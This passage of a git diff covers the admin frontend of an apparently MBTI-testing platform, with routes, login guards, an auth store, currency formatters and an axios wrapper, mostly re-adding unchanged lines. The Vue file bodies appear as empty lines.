'Segoe UI', Roboto, 'Helvetica Neue', Arial, + 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', + 'Noto Color Emoji'; +} + +/* 自定义滚动条 */ +::-webkit-scrollbar { + width: 8px; + height: 8px; +} + +::-webkit-scrollbar-track { + background: #f1f1f1; +} + +::-webkit-scrollbar-thumb { + background: #c1c1c1; + border-radius: 4px; +} + +::-webkit-scrollbar-thumb:hover { + background: #a8a8a8; +} + +/* Element Plus 自定义样式 */ +.el-card { + border-radius: 8px; +} + +.el-button { + border-radius: 6px; +} + +/* 页面容器 */ +.page-container { + padding: 20px; +} + +.page-header { + margin-bottom: 20px; + + h2 { + font-size: 24px; + font-weight: 600; + color: #303133; + } + + p { + margin-top: 8px; + font-size: 14px; + color: #909399; + } +} + +/* 统计卡片 */ +.stat-card { + padding: 24px; + border-radius: 12px; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + color: white; + + &.blue { + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + } + + &.green { + background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%); + } + + &.orange { + background: linear-gradient(135deg, #fa709a 0%, #fee140 100%); + } + + &.purple { + background: linear-gradient(135deg, #30cfd0 0%, #330867 100%); + } + + .stat-value { + font-size: 32px; + font-weight: bold; + margin: 12px 0; + } + + .stat-label { + font-size: 14px; + opacity: 0.9; + } +} + +/* 响应式 */ +@media (max-width: 768px) { + .page-container { + padding: 16px; + } +} + diff --git a/admin/src/layouts/AdminLayout.vue b/admin/src/layouts/AdminLayout.vue index 07eddec..533b544 100644 --- a/admin/src/layouts/AdminLayout.vue +++ b/admin/src/layouts/AdminLayout.vue @@ -1,357 +1,357 @@ - - - - - - + + + + + + diff --git a/admin/src/layouts/SuperAdminLayout.vue b/admin/src/layouts/SuperAdminLayout.vue index 056ab3c..a402b46 100644 --- a/admin/src/layouts/SuperAdminLayout.vue +++ b/admin/src/layouts/SuperAdminLayout.vue @@ -1,330 +1,330 @@ - - - - - - + + + + + + diff --git a/admin/src/main.ts b/admin/src/main.ts index a2d90f6..914f994 100644 --- a/admin/src/main.ts +++ b/admin/src/main.ts @@ -1,27 +1,27 @@ -import { createApp } from 'vue' -import { createPinia } from 'pinia' -import ElementPlus from 'element-plus' -import 'element-plus/dist/index.css' -import 'element-plus/theme-chalk/dark/css-vars.css' -import * as ElementPlusIconsVue from '@element-plus/icons-vue' -import zhCn from 'element-plus/es/locale/lang/zh-cn' - -import App from './App.vue' -import router from './router' -import './assets/main.scss' - -const app = createApp(App) - -// 注册所有 Element Plus 图标 -for (const [key, component] of Object.entries(ElementPlusIconsVue)) { - app.component(key, component) -} - -app.use(createPinia()) -app.use(router) -app.use(ElementPlus, { - locale: zhCn, -}) - -app.mount('#app') - +import { createApp } from 'vue' +import { createPinia } from 'pinia' +import ElementPlus from 'element-plus' +import 'element-plus/dist/index.css' +import 'element-plus/theme-chalk/dark/css-vars.css' +import * as ElementPlusIconsVue from '@element-plus/icons-vue' +import zhCn from 'element-plus/es/locale/lang/zh-cn' + +import App from './App.vue' +import router from './router' +import './assets/main.scss' + +const app = createApp(App) + +// 注册所有 Element Plus 图标 +for (const [key, component] of Object.entries(ElementPlusIconsVue)) { + app.component(key, component) +} + +app.use(createPinia()) +app.use(router) +app.use(ElementPlus, { + locale: zhCn, +}) + +app.mount('#app') + diff --git a/admin/src/router/index.ts b/admin/src/router/index.ts index a7e31d5..8848592 100644 --- a/admin/src/router/index.ts +++ b/admin/src/router/index.ts @@ -1,203 +1,203 @@ -import { createRouter, createWebHistory } from 'vue-router' -import type { RouteRecordRaw } from 'vue-router' - -const routes: RouteRecordRaw[] = [ - // 普通管理后台路由 - { - path: '/admin/login', - name: 'AdminLogin', - component: () => import('@/views/admin/Login.vue'), - meta: { title: '管理员登录' } - }, - { - path: '/admin', - component: () => import('@/layouts/AdminLayout.vue'), - redirect: '/admin/dashboard', - children: [ - { - path: 'dashboard', - name: 'AdminDashboard', - component: () => import('@/views/admin/Dashboard.vue'), - meta: { title: '数据概览' } - }, - { - path: 'users', - name: 'AdminUsers', - component: () => import('@/views/admin/Users.vue'), - meta: { title: '用户管理' } - }, - { - path: 'orders', - name: 'AdminOrders', - component: () => import('@/views/admin/Orders.vue'), - meta: { title: '订单管理' } - }, - { - path: 'distribution', - name: 'AdminDistribution', - component: () => import('@/views/admin/Distribution.vue'), - meta: { title: '分销管理' } - }, - { - path: 'questions', - name: 'AdminQuestions', - component: () => import('@/views/admin/Questions.vue'), - meta: { title: '题库管理' } - }, - { - path: 'pricing', - name: 'AdminPricing', - component: () => import('@/views/admin/Pricing.vue'), - meta: { title: '价格设置' } - }, - { - path: 'finance', - name: 'AdminFinance', - component: () => import('@/views/admin/Finance.vue'), - meta: { title: '企业余额' } - }, - { - path: 'settings', - name: 'AdminSettings', - component: () => import('@/views/admin/Settings.vue'), - meta: { title: '系统设置' } - }, - ] - }, - - // 超级管理后台路由 - { - path: '/superadmin/login', - name: 'SuperAdminLogin', - component: () => import('@/views/superadmin/Login.vue'), - meta: { title: '超级管理员登录' } - }, - { - path: '/superadmin', - component: () => import('@/layouts/SuperAdminLayout.vue'), - redirect: '/superadmin/overview', - children: [ - { - path: 'overview', - name: 'SuperAdminOverview', - component: () => import('@/views/superadmin/Overview.vue'), - meta: { title: '概览' } - }, - { - path: 'enterprises', - name: 'SuperAdminEnterprises', - component: () => import('@/views/superadmin/Enterprises.vue'), - meta: { title: '企业管理' } - }, - { - path: 'users', - name: 'SuperAdminUsers', - component: () => import('@/views/superadmin/Users.vue'), - meta: { title: '用户总览' } - }, - { - path: 'questions', - name: 'SuperAdminQuestions', - component: () => import('@/views/superadmin/Questions.vue'), - meta: { title: '题库管理' } - }, - { - path: 'ai-config', - name: 'SuperAdminAIConfig', - component: () => import('@/views/superadmin/AIConfig.vue'), - meta: { title: 'AI 服务配置' } - }, - { - path: 'pricing', - name: 'SuperAdminPricing', - component: () => import('@/views/superadmin/Pricing.vue'), - meta: { title: '全局定价' } - }, - { - path: 'distribution', - name: 'SuperAdminDistribution', - component: () => import('@/views/superadmin/Distribution.vue'), - meta: { title: '分销管理' } - }, - { - path: 'finance', - name: 'SuperAdminFinance', - component: () => import('@/views/superadmin/Finance.vue'), - meta: { title: '财务数据' } - }, - { - path: 'database', - name: 'SuperAdminDatabase', - component: () => import('@/views/superadmin/Database.vue'), - meta: { title: '数据库管理' } - }, - { - path: 'settings', - name: 'SuperAdminSettings', - component: () => import('@/views/superadmin/Settings.vue'), - meta: { title: '系统设置' } - }, - ] - }, - - // 默认重定向 - { - path: '/', - redirect: '/admin/login' - } -] - -const router = createRouter({ - history: createWebHistory(import.meta.env.BASE_URL), - routes -}) - -// 路由守卫 -router.beforeEach((to, _from, next) => { - // 设置页面标题 - document.title = to.meta.title ? `${to.meta.title} - MBTI 管理后台` : 'MBTI 管理后台' - - // 检查登录状态(使用Token) - const token = localStorage.getItem('authToken') - const userRole = localStorage.getItem('userRole') - - // 管理后台路由守卫 - if (to.path.startsWith('/admin') && to.path !== '/admin/login') { - if (!token || !userRole || !['admin', 'enterprise_admin', 'superadmin'].includes(userRole)) { - // 清除登录状态 - localStorage.removeItem('authToken') - localStorage.removeItem('userRole') - localStorage.removeItem('adminLoggedIn') - next('/admin/login') - return - } - } - - // 超级管理后台路由守卫 - if (to.path.startsWith('/superadmin') && to.path !== '/superadmin/login') { - if (!token || userRole !== 'superadmin') { - // 清除登录状态 - localStorage.removeItem('authToken') - localStorage.removeItem('userRole') - localStorage.removeItem('superAdminLoggedIn') - next('/superadmin/login') - return - } - } - - // 如果已登录,访问登录页则跳转到对应首页 - if (to.path === '/admin/login' && token && userRole && ['admin', 'enterprise_admin', 'superadmin'].includes(userRole)) { - next('/admin/dashboard') - return - } - - if (to.path === '/superadmin/login' && token && userRole === 'superadmin') { - next('/superadmin/overview') - return - } - - next() -}) - -export default router - +import { createRouter, createWebHistory } from 'vue-router' +import type { RouteRecordRaw } from 'vue-router' + +const routes: RouteRecordRaw[] = [ + // 普通管理后台路由 + { + path: '/admin/login', + name: 'AdminLogin', + component: () => import('@/views/admin/Login.vue'), + meta: { title: '管理员登录' } + }, + { + path: '/admin', + component: () => import('@/layouts/AdminLayout.vue'), + redirect: '/admin/dashboard', + children: [ + { + path: 'dashboard', + name: 'AdminDashboard', + component: () => import('@/views/admin/Dashboard.vue'), + meta: { title: '数据概览' } + }, + { + path: 'users', + name: 'AdminUsers', + component: () => import('@/views/admin/Users.vue'), + meta: { title: '用户管理' } + }, + { + path: 'orders', + name: 'AdminOrders', + component: () => import('@/views/admin/Orders.vue'), + meta: { title: '订单管理' } + }, + { + path: 'distribution', + name: 'AdminDistribution', + component: () => import('@/views/admin/Distribution.vue'), + meta: { title: '分销管理' } + }, + { + path: 'questions', + name: 'AdminQuestions', + component: () => import('@/views/admin/Questions.vue'), + meta: { title: '题库管理' } + }, + { + path: 'pricing', + name: 'AdminPricing', + component: () => import('@/views/admin/Pricing.vue'), + meta: { title: '价格设置' } + }, + { + path: 'finance', + name: 'AdminFinance', + component: () => import('@/views/admin/Finance.vue'), + meta: { title: '企业余额' } + }, + { + path: 'settings', + name: 'AdminSettings', + component: () => import('@/views/admin/Settings.vue'), + meta: { title: '系统设置' } + }, + ] + }, + + // 超级管理后台路由 + { + path: '/superadmin/login', + name: 'SuperAdminLogin', + component: () => import('@/views/superadmin/Login.vue'), + meta: { title: '超级管理员登录' } + }, + { + path: '/superadmin', + component: () => import('@/layouts/SuperAdminLayout.vue'), + redirect: '/superadmin/overview', + children: [ + { + path: 'overview', + name: 'SuperAdminOverview', + component: () => import('@/views/superadmin/Overview.vue'), + meta: { title: '概览' } + }, + { + path: 'enterprises', + name: 'SuperAdminEnterprises', + component: () => import('@/views/superadmin/Enterprises.vue'), + meta: { title: '企业管理' } + }, + { + path: 'users', + name: 'SuperAdminUsers', + component: () => import('@/views/superadmin/Users.vue'), + meta: { title: '用户总览' } + }, + { + path: 'questions', + name: 'SuperAdminQuestions', + component: () => import('@/views/superadmin/Questions.vue'), + meta: { title: '题库管理' } + }, + { + path: 'ai-config', + name: 'SuperAdminAIConfig', + component: () => import('@/views/superadmin/AIConfig.vue'), + meta: { title: 'AI 服务配置' } + }, + { + path: 'pricing', + name: 'SuperAdminPricing', + component: () => import('@/views/superadmin/Pricing.vue'), + meta: { title: '全局定价' } + }, + { + path: 'distribution', + name: 'SuperAdminDistribution', + component: () => import('@/views/superadmin/Distribution.vue'), + meta: { title: '分销管理' } + }, + { + path: 'finance', + name: 'SuperAdminFinance', + component: () => import('@/views/superadmin/Finance.vue'), + meta: { title: '财务数据' } + }, + { + path: 'database', + name: 'SuperAdminDatabase', + component: () => import('@/views/superadmin/Database.vue'), + meta: { title: '数据库管理' } + }, + { + path: 'settings', + name: 'SuperAdminSettings', + component: () => import('@/views/superadmin/Settings.vue'), + meta: { title: '系统设置' } + }, + ] + }, + + // 默认重定向 + { + path: '/', + redirect: '/admin/login' + } +] + +const router = createRouter({ + history: createWebHistory(import.meta.env.BASE_URL), + routes +}) + +// 路由守卫 +router.beforeEach((to, _from, next) => { + // 设置页面标题 + document.title = to.meta.title ? `${to.meta.title} - MBTI 管理后台` : 'MBTI 管理后台' + + // 检查登录状态(使用Token) + const token = localStorage.getItem('authToken') + const userRole = localStorage.getItem('userRole') + + // 管理后台路由守卫 + if (to.path.startsWith('/admin') && to.path !== '/admin/login') { + if (!token || !userRole || !['admin', 'enterprise_admin', 'superadmin'].includes(userRole)) { + // 清除登录状态 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('adminLoggedIn') + next('/admin/login') + return + } + } + + // 超级管理后台路由守卫 + if (to.path.startsWith('/superadmin') && to.path !== '/superadmin/login') { + if (!token || userRole !== 'superadmin') { + // 清除登录状态 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('superAdminLoggedIn') + next('/superadmin/login') + return + } + } + + // 如果已登录,访问登录页则跳转到对应首页 + if (to.path === '/admin/login' && token && userRole && ['admin', 'enterprise_admin', 'superadmin'].includes(userRole)) { + next('/admin/dashboard') + return + } + + if (to.path === '/superadmin/login' && token && userRole === 'superadmin') { + next('/superadmin/overview') + return + } + + next() +}) + +export default router + diff --git a/admin/src/stores/auth.ts b/admin/src/stores/auth.ts index 158462e..bf86d32 100644 --- a/admin/src/stores/auth.ts +++ b/admin/src/stores/auth.ts @@ -1,148 +1,148 @@ -import { defineStore } from 'pinia' -import { ref } from 'vue' -import { request } from '@/utils/request' - -interface LoginResponse { - code: number - message: string - data: { - token: string - expires_in: number - user: { - id: number - username: string - role: string - enterprise_id?: number | null - } - } -} - -export const useAuthStore = defineStore('auth', () => { - // 管理员登录状态 - const adminLoggedIn = ref(false) - const superAdminLoggedIn = ref(false) - const currentUser = ref(null) - - // 初始化登录状态(自动执行) - function initAuth() { - if (typeof window !== 'undefined') { - const token = localStorage.getItem('authToken') - const userRole = localStorage.getItem('userRole') - - if (token && userRole) { - if (userRole === 'superadmin') { - superAdminLoggedIn.value = true - } else if (['admin', 'enterprise_admin'].includes(userRole)) { - adminLoggedIn.value = true - } - } - } - } - - // 自动初始化 - initAuth() - - // 管理员登录 - async function adminLogin(username: string, password: string): Promise { - try { - const response = await request.post('/auth/admin/login', { - username, - password - }) - - if (response.code === 200 && response.data) { - // 存储Token和用户信息 - localStorage.setItem('authToken', response.data.token) - localStorage.setItem('userRole', response.data.user.role) - localStorage.setItem('userId', String(response.data.user.id)) - localStorage.setItem('adminLoggedIn', 'true') - - currentUser.value = response.data.user - adminLoggedIn.value = true - - return true - } - return false - } catch (error: any) { - console.error('登录失败:', error) - throw error - } - } - - // 超级管理员登录 - async function superAdminLogin(username: string, password: string): Promise { - try { - const response = await request.post('/auth/superadmin/login', { - username, - password - }) - - if (response.code === 200 && response.data) { - // 存储Token和用户信息 - localStorage.setItem('authToken', response.data.token) - localStorage.setItem('userRole', response.data.user.role) - localStorage.setItem('userId', String(response.data.user.id)) - localStorage.setItem('superAdminLoggedIn', 'true') - - currentUser.value = response.data.user - superAdminLoggedIn.value = true - - return true - } - return false - } catch (error: any) { - console.error('登录失败:', error) - throw error - } - } - - // 管理员登出 - async function adminLogout() { - try { - await request.post('/auth/logout') - } catch (error) { - console.error('退出登录失败:', error) - } finally { - // 清除本地存储 - localStorage.removeItem('authToken') - localStorage.removeItem('userRole') - localStorage.removeItem('userId') - localStorage.removeItem('adminLoggedIn') - localStorage.removeItem('superAdminLoggedIn') - - adminLoggedIn.value = false - currentUser.value = null - } - } - - // 超级管理员登出 - async function superAdminLogout() { - try { - await request.post('/auth/logout') - } catch (error) { - console.error('退出登录失败:', error) - } finally { - // 清除本地存储 - localStorage.removeItem('authToken') - localStorage.removeItem('userRole') - localStorage.removeItem('userId') - localStorage.removeItem('adminLoggedIn') - localStorage.removeItem('superAdminLoggedIn') - - superAdminLoggedIn.value = false - currentUser.value = null - } - } - - return { - adminLoggedIn, - superAdminLoggedIn, - currentUser, - initAuth, - adminLogin, - superAdminLogin, - adminLogout, - superAdminLogout - } -}) - +import { defineStore } from 'pinia' +import { ref } from 'vue' +import { request } from '@/utils/request' + +interface LoginResponse { + code: number + message: string + data: { + token: string + expires_in: number + user: { + id: number + username: string + role: string + enterprise_id?: number | null + } + } +} + +export const useAuthStore = defineStore('auth', () => { + // 管理员登录状态 + const adminLoggedIn = ref(false) + const superAdminLoggedIn = ref(false) + const currentUser = ref(null) + + // 初始化登录状态(自动执行) + function initAuth() { + if (typeof window !== 'undefined') { + const token = localStorage.getItem('authToken') + const userRole = localStorage.getItem('userRole') + + if (token && userRole) { + if (userRole === 'superadmin') { + superAdminLoggedIn.value = true + } else if (['admin', 'enterprise_admin'].includes(userRole)) { + adminLoggedIn.value = true + } + } + } + } + + // 自动初始化 + initAuth() + + // 管理员登录 + async function adminLogin(username: string, password: string): Promise { + try { + const response = await request.post('/auth/admin/login', { + username, + password + }) + + if (response.code === 200 && response.data) { + // 存储Token和用户信息 + localStorage.setItem('authToken', response.data.token) + localStorage.setItem('userRole', response.data.user.role) + localStorage.setItem('userId', String(response.data.user.id)) + localStorage.setItem('adminLoggedIn', 'true') + + currentUser.value = response.data.user + adminLoggedIn.value = true + + return true + } + return false + } catch (error: any) { + console.error('登录失败:', error) + throw error + } + } + + // 超级管理员登录 + async function superAdminLogin(username: string, password: string): Promise { + try { + const response = await request.post('/auth/superadmin/login', { + username, + password + }) + + if (response.code === 200 && response.data) { + // 存储Token和用户信息 + localStorage.setItem('authToken', response.data.token) + localStorage.setItem('userRole', response.data.user.role) + localStorage.setItem('userId', String(response.data.user.id)) + localStorage.setItem('superAdminLoggedIn', 'true') + + currentUser.value = response.data.user + superAdminLoggedIn.value = true + + return true + } + return false + } catch (error: any) { + console.error('登录失败:', error) + throw error + } + } + + // 管理员登出 + async function adminLogout() { + try { + await request.post('/auth/logout') + } catch (error) { + console.error('退出登录失败:', error) + } finally { + // 清除本地存储 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('userId') + localStorage.removeItem('adminLoggedIn') + localStorage.removeItem('superAdminLoggedIn') + + adminLoggedIn.value = false + currentUser.value = null + } + } + + // 超级管理员登出 + async function superAdminLogout() { + try { + await request.post('/auth/logout') + } catch (error) { + console.error('退出登录失败:', error) + } finally { + // 清除本地存储 + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('userId') + localStorage.removeItem('adminLoggedIn') + localStorage.removeItem('superAdminLoggedIn') + + superAdminLoggedIn.value = false + currentUser.value = null + } + } + + return { + adminLoggedIn, + superAdminLoggedIn, + currentUser, + initAuth, + adminLogin, + superAdminLogin, + adminLogout, + superAdminLogout + } +}) + diff --git a/admin/src/utils/format.ts b/admin/src/utils/format.ts index 53588e1..3397d0c 100644 --- a/admin/src/utils/format.ts +++ b/admin/src/utils/format.ts @@ -1,67 +1,67 @@ -/** - * 格式化金额,自动转换为万或亿单位 - * @param amount 金额(元) - * @param decimals 保留小数位数,默认1位(仅用于万和亿单位) - * @returns 格式化后的金额字符串,如 "¥1000"、"¥1.2万" 或 "¥3.5亿" - */ -export function formatCurrency(amount: number, decimals: number = 1): string { - if (amount === null || amount === undefined || isNaN(amount)) { - return '¥0' - } - - const absAmount = Math.abs(amount) - - // 大于等于1亿,使用亿单位 - if (absAmount >= 100000000) { - return `¥${(amount / 100000000).toFixed(decimals)}亿` - } - - // 大于等于1万,使用万单位 - if (absAmount >= 10000) { - return `¥${(amount / 10000).toFixed(decimals)}万` - } - - // 小于1万,直接显示整数(不带小数) - return `¥${Math.round(amount).toLocaleString()}` -} - -/** - * 格式化金额(不带符号),自动转换为万或亿单位 - * @param amount 金额(元) - * @param decimals 保留小数位数,默认1位(仅用于万和亿单位) - * @returns 格式化后的金额字符串,如 "1000"、"1.2万" 或 "3.5亿" - */ -export function formatCurrencyWithoutSymbol(amount: number, decimals: number = 1): string { - if (amount === null || amount === undefined || isNaN(amount)) { - return '0' - } - - const absAmount = Math.abs(amount) - - // 大于等于1亿,使用亿单位 - if (absAmount >= 100000000) { - return `${(amount / 100000000).toFixed(decimals)}亿` - } - - // 大于等于1万,使用万单位 - if (absAmount >= 10000) { - return `${(amount / 10000).toFixed(decimals)}万` - } - - // 小于1万,直接显示整数(不带小数) - return `¥${Math.round(amount).toLocaleString()}` -} - -/** - * 格式化金额(元),始终保留两位小数,用于订单/财务等精确展示 - * 避免 0.23 元被 formatCurrency 四舍五入成 ¥0 - * @param amount 金额(元) - */ -export function formatMoneyYuan(amount: number): string { - if (amount === null || amount === undefined || isNaN(amount)) { - return '¥0.00' - } - const n = Number(amount) - return '¥' + (Number.isFinite(n) ? n.toFixed(2) : '0.00') -} - +/** + * 格式化金额,自动转换为万或亿单位 + * @param amount 金额(元) + * @param decimals 保留小数位数,默认1位(仅用于万和亿单位) + * @returns 格式化后的金额字符串,如 "¥1000"、"¥1.2万" 或 "¥3.5亿" + */ +export function formatCurrency(amount: number, decimals: number = 1): string { + if (amount === null || amount === undefined || isNaN(amount)) { + return '¥0' + } + + const absAmount = Math.abs(amount) + + // 大于等于1亿,使用亿单位 + if (absAmount >= 100000000) { + return `¥${(amount / 100000000).toFixed(decimals)}亿` + } + + // 大于等于1万,使用万单位 + if (absAmount >= 10000) { + return `¥${(amount / 10000).toFixed(decimals)}万` + } + + // 小于1万,直接显示整数(不带小数) + return `¥${Math.round(amount).toLocaleString()}` +} + +/** + * 格式化金额(不带符号),自动转换为万或亿单位 + * @param amount 金额(元) + * @param decimals 保留小数位数,默认1位(仅用于万和亿单位) + * @returns 格式化后的金额字符串,如 "1000"、"1.2万" 或 "3.5亿" + */ +export function formatCurrencyWithoutSymbol(amount: number, decimals: number = 1): string { + if (amount === null || amount === undefined || isNaN(amount)) { + return '0' + } + + const absAmount = Math.abs(amount) + + // 大于等于1亿,使用亿单位 + if (absAmount >= 100000000) { + return `${(amount / 100000000).toFixed(decimals)}亿` + } + + // 大于等于1万,使用万单位 + if (absAmount >= 10000) { + return `${(amount / 10000).toFixed(decimals)}万` + } + + // 小于1万,直接显示整数(不带小数) + return `¥${Math.round(amount).toLocaleString()}` +} + +/** + * 格式化金额(元),始终保留两位小数,用于订单/财务等精确展示 + * 避免 0.23 元被 formatCurrency 四舍五入成 ¥0 + * @param amount 金额(元) + */ +export function formatMoneyYuan(amount: number): string { + if (amount === null || amount === undefined || isNaN(amount)) { + return '¥0.00' + } + const n = Number(amount) + return '¥' + (Number.isFinite(n) ? n.toFixed(2) : '0.00') +} + diff --git a/admin/src/utils/request.ts b/admin/src/utils/request.ts index 95847ed..6356a46 100644 --- a/admin/src/utils/request.ts +++ b/admin/src/utils/request.ts @@ -1,118 +1,118 @@ -import axios from 'axios' -import type { AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios' -import { ElMessage } from 'element-plus' - -// 获取API基础URL -const getBaseURL = (): string => { - const envURL = import.meta.env.VITE_API_BASE_URL - if (envURL) { - // 如果环境变量是完整URL,拼接 /api/v1 - return envURL.endsWith('/') ? `${envURL}api/v1` : `${envURL}/api/v1` - } - // 默认使用相对路径 - return '/api/v1' -} - -// 创建 axios 实例 -const service: AxiosInstance = axios.create({ - baseURL: getBaseURL(), - timeout: 15000, - headers: { - 'Content-Type': 'application/json' - } -}) - -// 请求拦截器 -service.interceptors.request.use( - (config) => { - // 可以在这里添加 token - const token = localStorage.getItem('authToken') - if (token) { - config.headers.Authorization = `Bearer ${token}` - } - return config - }, - (error) => { - console.error('请求错误:', error) - return Promise.reject(error) - } -) - -// 响应拦截器 -service.interceptors.response.use( - (response: AxiosResponse) => { - const res = response.data - - // 如果返回的状态码不是 200,则认为是错误 - if (res.code && res.code !== 200) { - ElMessage.error(res.message || '请求失败') - return Promise.reject(new Error(res.message || '请求失败')) - } - - return res - }, - (error) => { - console.error('响应错误:', error) - - if (error.response) { - const { status, data } = error.response - - if (status === 401) { - ElMessage.error('未授权,请重新登录') - // 清除所有登录状态和Token - localStorage.removeItem('authToken') - localStorage.removeItem('userRole') - localStorage.removeItem('userId') - localStorage.removeItem('adminLoggedIn') - localStorage.removeItem('superAdminLoggedIn') - - // 根据当前路径跳转到对应登录页 - if (window.location.pathname.startsWith('/superadmin')) { - window.location.href = '/superadmin/login' - } else { - window.location.href = '/admin/login' - } - } else if (status === 403) { - ElMessage.error('拒绝访问') - } else if (status === 404) { - ElMessage.error('请求地址不存在') - } else if (status === 500) { - ElMessage.error('服务器错误') - } else { - ElMessage.error(data?.message || '请求失败') - } - } else if (error.request) { - ElMessage.error('网络错误,请检查网络连接') - } else { - ElMessage.error('请求配置错误') - } - - return Promise.reject(error) - } -) - -// 导出请求方法 -export const request = { - get(url: string, config?: AxiosRequestConfig): Promise { - return service.get(url, config) - }, - - post(url: string, data?: any, config?: AxiosRequestConfig): Promise { - return service.post(url, data, config) - }, - - put(url: string, data?: any, config?: AxiosRequestConfig): Promise { - return service.put(url, data, config) - }, - - delete(url: string, config?: AxiosRequestConfig): Promise { - return service.delete(url, config) - }, - - patch(url: string, data?: any, config?: AxiosRequestConfig): Promise { - return service.patch(url, data, config) - } -} - -export default service - +import axios from 'axios' +import type { AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios' +import { ElMessage } from 'element-plus' + +// 获取API基础URL +const getBaseURL = (): string => { + const envURL = import.meta.env.VITE_API_BASE_URL + if (envURL) { + // 如果环境变量是完整URL,拼接 /api/v1 + return envURL.endsWith('/') ? `${envURL}api/v1` : `${envURL}/api/v1` + } + // 默认使用相对路径 + return '/api/v1' +} + +// 创建 axios 实例 +const service: AxiosInstance = axios.create({ + baseURL: getBaseURL(), + timeout: 15000, + headers: { + 'Content-Type': 'application/json' + } +}) + +// 请求拦截器 +service.interceptors.request.use( + (config) => { + // 可以在这里添加 token + const token = localStorage.getItem('authToken') + if (token) { + config.headers.Authorization = `Bearer ${token}` + } + return config + }, + (error) => { + console.error('请求错误:', error) + return Promise.reject(error) + } +) + +// 响应拦截器 +service.interceptors.response.use( + (response: AxiosResponse) => { + const res = response.data + + // 如果返回的状态码不是 200,则认为是错误 + if (res.code && res.code !== 200) { + ElMessage.error(res.message || '请求失败') + return Promise.reject(new Error(res.message || '请求失败')) + } + + return res + }, + (error) => { + console.error('响应错误:', error) + + if (error.response) { + const { status, data } = error.response + + if (status === 401) { + ElMessage.error('未授权,请重新登录') + // 清除所有登录状态和Token + localStorage.removeItem('authToken') + localStorage.removeItem('userRole') + localStorage.removeItem('userId') + localStorage.removeItem('adminLoggedIn') + localStorage.removeItem('superAdminLoggedIn') + + // 根据当前路径跳转到对应登录页 + if (window.location.pathname.startsWith('/superadmin')) { + window.location.href = '/superadmin/login' + } else { + window.location.href = '/admin/login' + } + } else if (status === 403) { + ElMessage.error('拒绝访问') + } else if (status === 404) { + ElMessage.error('请求地址不存在') + } else if (status === 500) { + ElMessage.error('服务器错误') + } else { + ElMessage.error(data?.message || '请求失败') + } + } else if (error.request) { + ElMessage.error('网络错误,请检查网络连接') + } else { + ElMessage.error('请求配置错误') + } + + return Promise.reject(error) + } +) + +// 导出请求方法 +export const request = { + get(url: string, config?: AxiosRequestConfig): Promise { + return service.get(url, config) + }, + + post(url: string, data?: any, config?: AxiosRequestConfig): Promise { + return service.post(url, data, config) + }, + + put(url: string, data?: any, config?: AxiosRequestConfig): Promise { + return service.put(url, data, config) + }, + + delete(url: string, config?: AxiosRequestConfig): Promise { + return service.delete(url, config) + }, + + patch(url: string, data?: any, config?: AxiosRequestConfig): Promise { + return service.patch(url, data, config) + } +} + +export default service + diff --git a/admin/src/views/admin/Dashboard.vue b/admin/src/views/admin/Dashboard.vue index cae288c..400e710 100644 --- a/admin/src/views/admin/Dashboard.vue +++ b/admin/src/views/admin/Dashboard.vue @@ -1,392 +1,392 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Distribution.vue b/admin/src/views/admin/Distribution.vue index 5d4afaa..9c8de16 100644 --- a/admin/src/views/admin/Distribution.vue +++ b/admin/src/views/admin/Distribution.vue @@ -1,1231 +1,1231 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Finance.vue b/admin/src/views/admin/Finance.vue index 89b2781..ba1569e 100644 --- a/admin/src/views/admin/Finance.vue +++ b/admin/src/views/admin/Finance.vue @@ -1,379 +1,379 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Login.vue b/admin/src/views/admin/Login.vue index d30d714..917d72d 100644 --- a/admin/src/views/admin/Login.vue +++ b/admin/src/views/admin/Login.vue @@ -1,254 +1,254 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Orders.vue b/admin/src/views/admin/Orders.vue index 0eeba7d..329f6ef 100644 --- a/admin/src/views/admin/Orders.vue +++ b/admin/src/views/admin/Orders.vue @@ -1,611 +1,611 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/PosterEditor.vue b/admin/src/views/admin/PosterEditor.vue index 9718beb..b7eb1f7 100644 --- a/admin/src/views/admin/PosterEditor.vue +++ b/admin/src/views/admin/PosterEditor.vue @@ -1,981 +1,981 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Pricing.vue b/admin/src/views/admin/Pricing.vue index 5f133e6..48b0a0f 100644 --- a/admin/src/views/admin/Pricing.vue +++ b/admin/src/views/admin/Pricing.vue @@ -1,363 +1,363 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Questions.vue b/admin/src/views/admin/Questions.vue index 1cdb5e7..020d69e 100644 --- a/admin/src/views/admin/Questions.vue +++ b/admin/src/views/admin/Questions.vue @@ -1,1059 +1,1059 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Settings.vue b/admin/src/views/admin/Settings.vue index 3127871..59af5ee 100644 --- a/admin/src/views/admin/Settings.vue +++ b/admin/src/views/admin/Settings.vue @@ -1,543 +1,543 @@ - - - - - + + + + + diff --git a/admin/src/views/admin/Users.vue b/admin/src/views/admin/Users.vue index 2124547..a1c59ce 100644 --- a/admin/src/views/admin/Users.vue +++ b/admin/src/views/admin/Users.vue @@ -1,1530 +1,1530 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/AIConfig.vue b/admin/src/views/superadmin/AIConfig.vue index d1992d5..89ce878 100644 --- a/admin/src/views/superadmin/AIConfig.vue +++ b/admin/src/views/superadmin/AIConfig.vue @@ -1,1596 +1,1596 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Database.vue b/admin/src/views/superadmin/Database.vue index 2d4fc6c..a935350 100644 --- a/admin/src/views/superadmin/Database.vue +++ b/admin/src/views/superadmin/Database.vue @@ -1,483 +1,483 @@ - - - - - + + + + + diff --git a/admin/src/views/superadmin/Distribution.vue 